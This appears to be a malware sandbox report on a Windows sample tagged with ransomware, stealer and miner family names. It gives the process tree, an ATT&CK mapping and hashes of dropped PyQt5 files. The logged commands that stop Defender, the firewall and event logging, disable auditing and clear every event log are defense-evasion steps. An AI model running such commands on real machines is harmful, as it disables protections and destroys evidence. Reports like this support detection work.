PID 1676 wrote to memory of 5540	1676	cmd.exe	173
PID 4212 wrote to memory of 4880	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	174
PID 4880 wrote to memory of 4732	4880	cmd.exe	176
PID 4212 wrote to memory of 3484	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	177
PID 3484 wrote to memory of 5972	3484	cmd.exe	179
PID 4212 wrote to memory of 3964	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	180
PID 3964 wrote to memory of 5456	3964	cmd.exe	182
PID 4212 wrote to memory of 5676	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	183
PID 5676 wrote to memory of 2628	5676	cmd.exe	185
PID 4212 wrote to memory of 2716	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	186
PID 2716 wrote to memory of 4220	2716	cmd.exe	189
PID 4212 wrote to memory of 5956	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	190

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1352	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Users\Admin\AppData\Local\Temp\2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
  C:\Users\Admin\AppData\Local\Temp\2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\ff6e3b25-00cc-a48e-35e8-e112ee3546d1\Temp /inheritance:r
    3⤵
    - Modifies file permissions
    PID:3580
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\ff6e3b25-00cc-a48e-35e8-e112ee3546d1\Temp /grant Admin:F
    3⤵
    - Modifies file permissions
    PID:2892
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\ff6e3b25-00cc-a48e-35e8-e112ee3546d1\Temp /remove SYSTEM
    3⤵
    - Modifies file permissions
    PID:4476
- - C:\Windows\SYSTEM32\attrib.exe
    attrib +h C:\Users\Admin\AppData\Local\ff6e3b25-00cc-a48e-35e8-e112ee3546d1\Temp
    3⤵
    - Views/modifies file attributes
    PID:1352
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5904
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2500
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2536
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2516
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3648
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1568
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3364
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:3820
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4764
- - C:\Windows\SYSTEM32\net.exe
    net stop mpssvc /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3432
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mpssvc /y
      4⤵
      PID:3040
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1724
- - C:\Windows\SYSTEM32\net.exe
    net stop wuauserv /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop wuauserv /y
      4⤵
      PID:4384
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
    3⤵
    PID:2592
- - C:\Windows\SYSTEM32\net.exe
    net stop eventlog /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6104
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop eventlog /y
      4⤵
      PID:2028
- - C:\Windows\SYSTEM32\net.exe
    net stop EventLog
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop EventLog
      4⤵
      PID:2072
- - C:\Windows\SYSTEM32\net.exe
    net stop WdiSystemHost
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WdiSystemHost
      4⤵
      PID:5488
- - C:\Windows\SYSTEM32\net.exe
    net stop WerSvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WerSvc
      4⤵
      PID:5536
- - C:\Windows\SYSTEM32\net.exe
    net stop DiagTrack
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5364
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop DiagTrack
      4⤵
      PID:3452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v SCENoApplyLegacyAuditPolicy /t REG_DWORD /d 1 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5724
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v SCENoApplyLegacyAuditPolicy /t REG_DWORD /d 1 /f
      4⤵
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableModuleLogging /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableModuleLogging /t REG_DWORD /d 0 /f
      4⤵
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
      4⤵
      PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "logman delete "NT Kernel Logger" -ets"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\system32\logman.exe
      logman delete "NT Kernel Logger" -ets
      4⤵
      PID:1796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "logman delete "EventLog-Security" -ets"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\system32\logman.exe
      logman delete "EventLog-Security" -ets
      4⤵
      PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "logman delete "Circular Kernel Context Logger" -ets"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\system32\logman.exe
      logman delete "Circular Kernel Context Logger" -ets
      4⤵
      PID:796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name="C:" set Description="Local Disk" > nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name="C:" set Description="Local Disk"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "for /f "tokens=*" %i in ('wevtutil el') do wevtutil cl "%i" 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wevtutil el
      4⤵
      Suspicious use of WriteProcessMemory
      PID:428
    - - C:\Windows\system32\wevtutil.exe
        
        wevtutil el
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "auditpol /set /subcategory:"File System" /success:disable /failure:disable"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5896
  - - C:\Windows\system32\auditpol.exe
      auditpol /set /subcategory:"File System" /success:disable /failure:disable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "auditpol /set /subcategory:"File Share" /success:disable /failure:disable"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\auditpol.exe
      auditpol /set /subcategory:"File Share" /success:disable /failure:disable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "auditpol /set /subcategory:"Registry" /success:disable /failure:disable"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\system32\auditpol.exe
      auditpol /set /subcategory:"Registry" /success:disable /failure:disable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "auditpol /set /subcategory:"Process Creation" /success:disable /failure:disable"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Windows\system32\auditpol.exe
      auditpol /set /subcategory:"Process Creation" /success:disable /failure:disable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl Application"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl Application
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:5456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl System"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5676
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl System
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:2628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl Security"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl Security
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:4220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Windows PowerShell""
    3⤵
    PID:5956
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl "Windows PowerShell"
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:5096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Microsoft-Windows-PowerShell/Operational""
    3⤵
    PID:5320
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl "Microsoft-Windows-PowerShell/Operational"
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:3720
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3708
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1472
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5092
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4820
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    PID:1384
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:1976
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4840
- - C:\Windows\SYSTEM32\net.exe
    net stop mpssvc /y
    3⤵
    PID:1512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mpssvc /y
      4⤵
      PID:3864
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3024
- - C:\Windows\SYSTEM32\net.exe
    net stop wuauserv /y
    3⤵
    PID:5288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop wuauserv /y
      4⤵
      PID:2024
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
    3⤵
    PID:4168
- - C:\Windows\SYSTEM32\net.exe
    net stop eventlog /y
    3⤵
    PID:2304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop eventlog /y
      4⤵
      PID:2592
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1988
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1380
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3192
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1136
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:6108
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:6068
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5728
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4948
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3868
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4544
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1728
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2800
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5416
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2388
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4140
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4124
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2412
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    PID:5812
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:5660
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4596
- - C:\Windows\SYSTEM32\net.exe
    net stop mpssvc /y
    3⤵
    PID:2960
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mpssvc /y
      4⤵
      PID:4764
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2052
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3408
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1476
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1620
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2440
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    PID:5040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:2984
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:2020
- - C:\Windows\SYSTEM32\net.exe
    net stop mpssvc /y
    3⤵
    PID:1348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mpssvc /y
      4⤵
      PID:4080
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3548
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5524
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5152
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5496
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:904
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4544
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5212
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4872
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1352
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3908
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:564
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4952
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2492
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:824
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1404
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5964
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6128
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    PID:4504
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:2360
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4184
- - C:\Windows\SYSTEM32\net.exe
    net stop mpssvc /y
    3⤵
    PID:4104
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mpssvc /y
      4⤵
      PID:4492
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1724
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3016
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3044
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3032
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2104
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3192
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3004
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    PID:3440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:2544
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:5844
- - C:\Windows\SYSTEM32\net.exe
    net stop mpssvc /y
    3⤵
    PID:1952
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mpssvc /y
      4⤵
      PID:6068
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5496
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1668
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2132
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5324
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5992
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1488
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3452
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3636
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5020
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3152
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5456
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:1160
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

QtCore.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2044_320877_fyu5YAjoKJ0\PyQt5\QtCore.pyd
Size 2.4MB
SHA256 203bb6236f23f57ad8cdab5bbf4537a4abbc0b0879cf2893a8dc930e679dd846
MD5 1da7b606380b624274e7e3c5f25209bc
SHA1 695949eab1548e05fb10da421626ef95b03d5b89
SHA512 43e4cde7b3cf2f57991c169b1b9ad90334187a41b7784f37660d146252b1c6bd2e98cf86210f938967653773f29619cf0ce038a99184e3d44f734223d05c0b93
SSDEEP 49152:aWYt+wPbTcSKSCcHFpXEqzhDarD9HDXTk5am3QSQK4ZAzYI+1ZdAEDGmtV/U3bwN:jSKSCcHFpXEqzhDarD9HDXTk5am3QSQO
TLSH
T1DAB50857635D65D4C4FAD638C94F860AFAF370110346A3CF24248B692F93BEA6A7C784
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

QtGui.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2044_320877_fyu5YAjoKJ0\PyQt5\QtGui.pyd
Size 2.4MB
SHA256 2ca28d29ec4f2f50b4ccc70c7d6399b314151bc38852833d2d30097773bb1c00
MD5 3a9a1cd6f3a0efe67b5994b82d7c4e21
SHA1 e4009eb322a235c7b739777b4385906a238e7b37
SHA512 13bca36d9bfbe7ad6b43818e5afc4ff940adccc8273db00052b1466339258c4a0d47b2e126278f43cb24a0e608a08cf39a92379375ce011e156de1546a286c15
SSDEEP 49152:eq1Bdy8kK+zqwXSkaGV0COyxNkFAEfYoyWbP:dLdiznbTjO
TLSH
T17CB51A1B635834D4C4EADB3C8E0F8606B6F37056134693DB14658F292F937EA6ABCB44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

QtOpenGL.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2044_320877_fyu5YAjoKJ0\PyQt5\QtOpenGL.pyd
Size 122KB
SHA256 3b45f765cc50239139b4a385bcc4ac9ddb4b418de4f09ad0492bf71a07500037
MD5 c727cdba5ef717ae013c0f2d3760fbab
SHA1 b844366cf7a09edcf6a94cc05fd4b00037096879
SHA512 fb8dd9bfe95c8f2869b4364441a0704ffea2b1ec878e8e01e233d50da04dc1eb689e1934b1409ccc53005a7a3248e32ecdc121fdde8a568853038c6389de781e
SSDEEP 1536:vIALjngtQHOCub2tMGpTtXMHBJool/AinBqRnj0MFX5Dd4VLD35KrS:vIaEtqd5WplBq15X5Dd4xD5m
TLSH
T195C3C557225A21CAC9F6C27C895F4A06B7F3B060031393CF14259B1A5FA3BE5AE3D748
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

QtWidgets.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2044_320877_fyu5YAjoKJ0\PyQt5\QtWidgets.pyd
Size 4.9MB
SHA256 e4a06fe65b02c568db984771fb9a46ea95a8e4353ea85c942f954cba02dec635
MD5 9e4b668c64d9e7a6c59bebe4b0d6d7c0
SHA1 75c70834e631014296f893f5584b18ea20ac1ec3
SHA512 8d18d5f640efe4631e4e43a1ef4bb458613c598c88574dc3c3bcfa8c0b8c7cbbf4950cf6f6bb31b49914dc45523a2376ac9178939164d93bddd670bad5386d66
SSDEEP 49152:I6qnQByIoLSo7MMVjv7pekxL3UNmN61ZA+gca6xSdJzqNQ9SbBanj1Mxf5uJa:WxI/kMaz7YsgNDG90+VimCOa
TLSH
T17836E803665A74C8C5FAD53D9A4F4602FAE370910357A3CF18394B1A6FA3BE6563E348
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sip.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2044_320877_fyu5YAjoKJ0\PyQt5\sip.pyd
Size 120KB
SHA256 406953b36fb04046c8d476d85a33a8829bb62e37804b08f0cf36f6c5529a904c
MD5 9712a84fd27a1dc211c1b3eb999a0ec2
SHA1 cfca2564c24a8930d08279d6e7143df618984631
